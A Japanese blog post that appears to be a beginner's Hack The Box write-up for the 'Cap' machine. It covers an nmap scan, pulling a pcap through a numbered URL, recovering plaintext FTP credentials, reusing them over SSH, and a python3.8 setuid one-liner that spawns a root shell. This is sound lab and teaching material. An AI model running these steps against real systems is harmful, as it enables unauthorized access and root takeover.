💻

【Hack The Box Writeup】Cap

に公開

はじめに

本記事はHackTheBoxのWriteupです。

Machineは、Capです。

About Cap

ネットワークキャプチャ機能を持つHTTPサーバーで、キャプチャファイルに認証情報が隠れており、そこからroot権限奪取するシナリオです。

Scanning

まずはnmap scan。

nmap -Pn -A -sV 10.10.10.245
Nmap scan report for 10.10.10.245
Host is up (0.19s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:9![](https://storage.googleapis.com/zenn-user-upload/1dcd2b362c90-20250821.png)
1:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    Gunicorn
|_http-title: Security Dashboard
|_http-server-header: gunicorn
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

ftp, ssh, httpポートが開いているらしいです。

まずはHTTPサーバーを探索してみると、

ここからpcapファイルをダウンロードできるみたいです。

http://cap.htb/data/$number

でもダウンロードできるみたいです。

0番目のファイルをダウンロードしてみます。

http://cap.htb/data/0

WireSharkで中身を見てみましょう。

FtpサーバーのUsernameとPasswordが平文で書かれていました。

sshでも使えるか試してみます。

ssh nathan@10.10.10.245

いけました。

1つ目のFlag:user.txt

Privilage Escalation

次に、root権限を奪取してみます。

すでに、userディレクトリにlinpeas.shがあるみたいです。

それの出力結果として、test.txt, file.txt, linpeas.txtがあるみたいなのでこれを見てみましょう。

すると、pythonでsetuidが使える脆弱性を見つけました。

これを使って権限昇格を行います。

コマンド:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

コマンド解説

os.setuid(0):rootユーザーにする

os.system("/bin/bash"):bashを起動

root権限になりましたので、/rootに移動して、

2つ目のFlag:root.txt

おわりに

初めてのHack The Box挑戦でしたが、ヒントを活用するとノーヒントより、めちゃくちゃ解くスピードが上がってとても楽しかったです。

Hack The Boxを挑戦し続けてCTFなどに活かしていきたいと思います。

ここまで読んでいただきありがとうございました。

Discussion